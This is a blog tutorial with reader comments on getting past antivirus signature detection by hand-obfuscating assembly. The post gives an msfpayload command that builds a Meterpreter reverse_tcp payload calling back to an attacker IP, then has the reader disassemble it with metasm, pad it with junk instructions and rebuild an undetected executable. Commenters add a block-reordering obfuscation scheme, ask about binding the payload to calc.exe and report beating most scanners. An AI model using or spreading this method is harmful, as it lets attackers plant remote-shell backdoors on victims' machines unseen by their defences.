Using Metasm To Avoid Antivirus Detection (Ghost Writing ASM)

Using Metasm To Avoid Antivirus Detection (Ghost Writing ASM)

Preface

It seems that more and more these days I find myself battling head to head against my client’s Antivirus Software. Payloads I encoded to successfully bypass one solution get picked up by another. An executable that walked effortlessly past one AV this week gets stopped dead in its tracks by the very same software build at a different client the week later. This is a frustrating and constant problem for myself and many others I am sure.

The topic of Antivirus avoidance is not a new one by any means. Currently there exist several methodologies that work well and I don’t think anyone (at least no one I know) can respectfully make a claim for a particular method being the De facto standard that works every time.

This article aims to provide some insight into one such method that I have become fond of and has proven quite successful in many of my recent pen tests. I first became aware of the technique by reading This Great Writeup from exploit-db. I’m not sure if the author is responsible for coining the term or not but they refer to this ancient wisdom and all of its magical powers under the alias “Ghost Writing” which I think sounds super cool!

Brief Introduction To Antivirus Detection Methodologies

If one hopes to successfully get around Antivirus software it’s probably a good idea to understand just how they determine that a malicious application is in fact “malicious”. For a detailed and probably much more accurate explanation of this phenomenon Click here to become Wikipedafied!!

The Cliff Notes Version:
Speaking quite generally, Antivirus Engines are capable of detecting malicious applications usually by one of two basic methodologies.
<-- insert rant -->
Don’t tell the Antivirus vendors that though because they would have you believe that there are 10 completely different methods of detection in order to squeeze you somewhere into their 10-tier pricing matrix
<-- end rant -->
Heuristic base analysis, in which case the AV engine monitors the behavior of the application and determines based on a predetermined set of criteria if the behavior can be classified as being malicious. This can happen in a sandboxed environment that is generated pre-execution time or dynamically inside a process’s virtual memory space while it is running. This is the current most effective and accurate way to guard against viruses and malware applicaitons. A good heuristic based engine constantly monitors the behavior of all applications and “teaches themselves” to become smarter on a regular basis.

The second and older method is called many names, we will use the term Static Binary Analysis. It doesn’t matter what you call it as long as you understand how it works. In SBA the AV engine looks at the binary data (the machine language instructions) of the application as it sits on the disk and checks for known sequences of malicious instructions, for example the instructions for opening up a TCP port and binding it to “cmd.exe”. These small pieces of code are called “signatures”. For signature detection to be successful your AV vendor needs to know every piece of malicious code out there and have accurate and up-to-date definitions for you on a daily basis. That’s even more difficult to do then it sounds. As luck would have it, most main stream AV vendors (even the ones claiming to be heuristic, shhhh..) still incorporate SBA in some way or another into their products. We can use the flaw in this logic to bypass AV detection by “Obfuscating” or “Ghost Writing” our binary data in such a way that it does not contain any known signatures. Now on to the fun stuff.

Building Our Malicious Executable

First we will build the malicious executable using msfpayload, one of our very closest companions :)


$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 R > raw_binary

In the above command you should change ’192.168.1.100′ to whatever IP address you want your victim to connect back to.

The Metasm Ruby Library

Now that we have created a “raw” binary file we have to disassemble it into readable machine language or Assembly Code. To do this we will use the “metasm” ruby library that ships natively with the metasploit framework. In order for the library to function you must first copy the metasm.rb file and metasm directory into your system’s ruby installation path. On my system doing so looks like this


cd ~/tools/metasploit/lib/metasm
cp -a metasm.rb metasm /opt/local/lib/ruby1.9/site_ruby/1.9.1

Now we can disassemble the binary file we created earlier.


$ ruby ~/tools/metasploit/lib/metasm/samples/disassemble.rb raw_binary > asm_code.asm

That will create a file called asm_code.asm which should look something like this

asm_code.asm

Manual Obfuscation

Right about now would be a perfect time to reference one of my favorite begging Assembly Language tutorial videos:
http://www.securitytube.net/groups?operation=view&groupId=5

Now that we have some ASM know-how we can start getting our hand s dirty with some Ghost Writing. Start adding random ASM instructions in the middle of the various code sections. I know, it would be much more effective to first determine precisely which bytes are flagging your target AV but that’s really another article in it’s self. For now, we’ll continue with the “spray and pray” methodology. You can add anything you want so long as you don’t break the functionality of the application. I find that simply pushing registers onto the stack and then popping them back off sometimes will do the trick. Also just before a XOR statement (which is often used to set the value of a register to zero) you can add a bunch of random statements to increment and decrement the register, move values of other registers into it. Anything you do won’t matter because eventually you will be changing the value to zero. So using the above example we can change the section beginning with ‘// Xrefs: 8dh’

From This:

To This:

So here we turned 3 lines of code into 9 however lines 3-8 result in the same values for ECX and EDI as the original code. This is essentially what it means to obfuscate code.

Once you’ve finished mangling your ASM code you need to add the following two lines to the top of the file for it to build correctly.

Someone in the #metasploit IRC was kind enough to point that out to me, Im sorry I can’t remember who it was because so many smart people in the #metasploit room help me out on a regular basis. You know who you are, and thank you!

The final step is to use metasm to build the executable and package it into a format that Windows can run.


$ ruby ~/tools/metasploit/lib/metasm/samples/peencode.rb asm_code.asm -o coolstuff.exe

Run a file check on coolstuff.exe to verify that it was built correctly. You should see something like this when finished.


$ file coolstuff.exe
coolstuff.exe: MS-DOS executable, MZ for MS-DOS

If everything went according to plan, you should be left with a random enough binary file that doesn’t match up with any of your target AV’s signatures and is free to pwn systems undetected. That’s all for now, hope you enjoyed reading. Hack responsibly!


26 Comments

  1. sk February 15, 2012 3:31 pm  Reply

    Hey, good article. Makes me want to go mess around with it. It’d be cool if you automated this process; for example, search the disasm and add a bunch of random inc/dec instructions prior to any/all xors. I’m surprised the AV doesn’t catch on though – but then again, signature based detection is fail, for the most part.

    Keep it up and see you on #offsec! heh!

  2. r3dy February 15, 2012 3:47 pm  Reply

    @sk

    Thanks for commenting. I agree whole hartedly about the automation. Hopefully that will become a part #2 post very soon.

  3. jduck February 15, 2012 7:03 pm  Reply

    If you copy metasm to your system lib directory you will prevent it from being updated by commits to the Metasploit tree.. Instead, simply run the disassemble.rb like this:

    box:msf-git$ ruby -Ilib lib/metasm/samples/disassemble.rb test.exe > test.asm
    box:msf-git$

    • r3dy February 15, 2012 7:08 pm  Reply

      Jduck,

      Excellent observation, I hadn’t thought of that. Would you say that creating a symbolic link would also be an acceptable solution?

  4. emeau February 15, 2012 9:59 pm  Reply

    Well this process is usually known as code obfuscation, more specifically as junkcode, and is correctly used (and obviously automated) in reverse engineering tools, software protection products (aka packers) and malwares.

    There’s a lot of documentation out there made by computer scientists or more generally hacker-minded people, just search for it.

    • r3dy February 15, 2012 10:16 pm  Reply

      Well this process is usually known as code obfuscation

      I believe I covered that in the article

      There’s a lot of documentation out there made by computer scientists or more generally hacker-minded people, just search for it.

      I believe I covered that too. Still, thank you for your contribution.

      • emeau November 9, 2012 7:44 am  Reply

        oh sorry, didn’t you understood i was saying you were bullshiting for fame about a well known and well documented too code obfuscation technique ? Meh, i’ll need to be more explicit the next time.

        thanks for the “ghost writing” term btw, my fapfapometer registered a new record.

  5. pipas February 17, 2012 5:07 am  Reply

    Hi man, great article.
    Can you tell me what the code:
    .section ‘.text’ rwx
    .entrypoint

    does?
    I’m using this technique to try some stuff, but when i use another compiler, it gives errors.

    Thanks

    • r3dy February 17, 2012 8:19 am  Reply

      Hello pipas. Thank you for your comment. I will try to address your question and hopefully someone will correct me if I need to be corrected.

      The first of those two lines simply tells the assembler what access permissions to assing the .text section of the binary executable. The next line does exactly as it suggests and sets the programs entry point, which is where execution will first take place once the application is launched.

      I’m glad to here you are exploring this topic on your own. I reccomend that you try using the metasm library as this guide was written explicitly with its functionality in mind. Also, it might be worth your time to check out the assembly language primer linked in this article as it does a pretty good job explaining the various code sections .

      Thanks for reading!

      • pipas February 17, 2012 9:57 am  Reply

        Thanks r3dy, i’m using the same librarys of “metasm” that you use for my tests, i only asked this because i was curious and tried to compile it on another compiler.

        Thanks for the tips, i’ve downloaded the Assembly videos and i’m going to watch.

        Let me ask another question, do you know how to join a compiled .exe to another, like calc.exe. Using these librarys of metasm?
        I have done some .exe files using your technique and now i wish to join them to “known” .exe apps, to see if it works.

        thanks

  6. pipas February 17, 2012 11:24 am  Reply

    BTW, with this technique i was hable to bypass most AV’s, but not micro$oft security essencials :(

    that’s why i’m searching for a way to join a compiled .exe with peencode.rb to another .exe, like notepad.exe or calc.exe

    If you have any tip, i’m be very glad :)
    thanks.

    • r3dy February 17, 2012 2:53 pm  Reply

      Actually I know for a fact that you can bypass Microsoft Security Essentials with this method. Perhaps you need to obfuscate more. :)

      • pipas February 17, 2012 5:12 pm  Reply

        That’s great, i also tried on to obfuscate more, but only on the next “xor”.
        On the ref, // Xrefs: 2ch ….before the “xor” i did some “add” and “sub” but the microsoft security essentials “got it” …:(

        Can you give me a hint? did you used the same technique or something else… Can i repeat your “trick” on the //Xrefs: 66h ? (before the xor edi, edi) is that it?

        Thanks, BTW the .exe are just 1K it’s really awesome man :D

  7. erik February 28, 2012 2:15 am  Reply

    Hi,

    does anyone know where to find more information about the meterpreter/reverse_tcp payload itself? I would like to understand the disassembly, but I can only find documentation about the “big picture” and what meterpreter [payloads] do in general.

    Thanks!
    Erik

  8. solozero March 1, 2012 5:54 am  Reply

    Excellent article!
    I was curious as to what methodology you used to determine where the AV sig would be found in the asm code?

  9. PenTest-R March 2, 2012 1:52 am  Reply

    WOW…

    1/35 99% FUD

    Only AVIRA caught it.

    thnx

    • zeknox March 3, 2012 3:12 pm  Reply

      You should NEVER upload your binaries you are testing to VirusTotal or any website similar. These websites work with the AV companies, and by uploading them you are just giving the AV companies a faster time to respond to your new techniques of AV evasion. Rather, you should understand what AV your target is running, Install and Update that version in a Virtual Machine. Then remove internet access from the Virtual Machine and scan your binaries to test it.

      • PenTest-R March 6, 2012 8:43 am  Reply

        I’ve used different one (not VirusTotal).
        There are another “hidden” labs with all of them updated and installed.
        ;)

  10. nioooh March 4, 2012 9:15 am  Reply

    There is some better way to improve your obfuscation.
    You can do some control flow analysis, and them insert random sequence of jump next_label, label, and randomize the blocks.

    Some example :

    push ebp
    mov ebp, esp
    instr1
    instr2
    instr3
    instr4
    instr5
    instr6
    instr7
    instr8
    ret

    goes to

    push ebp
    mov ebp, esp
    instr1
    instr2
    jmp i3
    i3:
    instr3
    instr4
    instr5
    jmp i6
    i6:
    instr6
    instr7
    jmp i8
    i8:
    instr8
    ret

    And then, randomize the blocks

    push ebp
    mov ebp, esp
    instr1
    instr2
    jmp i3
    i8:
    instr8
    ret
    i6:
    instr6
    instr7
    jmp i8
    i3:
    instr3
    instr4
    instr5
    jmp i6

    This can easily done by parsing the assembly. Made a script to do this which works with Visual Studio compiler and gcc assembly dumps.

  11. The Moorish April 1, 2012 8:49 am  Reply

    is it possible to use this method to make Metasploit’s ms08_067_netapi FUD?

  12. mark April 15, 2012 6:19 am  Reply

    Excellent work/post. Totally defeats my AV :)

  13. n00bw00t September 29, 2012 2:40 pm  Reply

    Hello I was doing a search on google on how to bypass AV’s with metasploit exploits when I found your site =) and also found this vulnerability with one of our clients CVE-2011-0923 and modify the exploit according to our needs and also modify “windows/meterpreter/reverse_tcp” according to your instructions and works like a charm … (thanks for the tip) but I still not found some that help me to make work exploits from metasploit on my pentest engagements. So I wonder if you can help me or point me to some websites and/or papers(books) that can help me in this quest.

    Thanks in advance!!

  14. jarvir October 1, 2012 2:51 pm  Reply

    Hi! Great article, very interesting. I have been messing with Metasploit, Im new to all of this. Is this what msfencode does to the code? I tried to run it several times on a payload, with several different options, but mcafee kept finding it. I was thinking it might be a heuristic analysis, but I know nothing of how a program like mcafee works. Also, can you explain what using .exe templates with, for example, msfencode does? I saw an example somewhere and tried that too, but it didnt work. I know this is a lot of questions, but since I found your excellent article, your my victim for the day :)

Leave a comment

Your email address will not be published. Required fields are marked *


four − = three

Protected by WP Anti Spam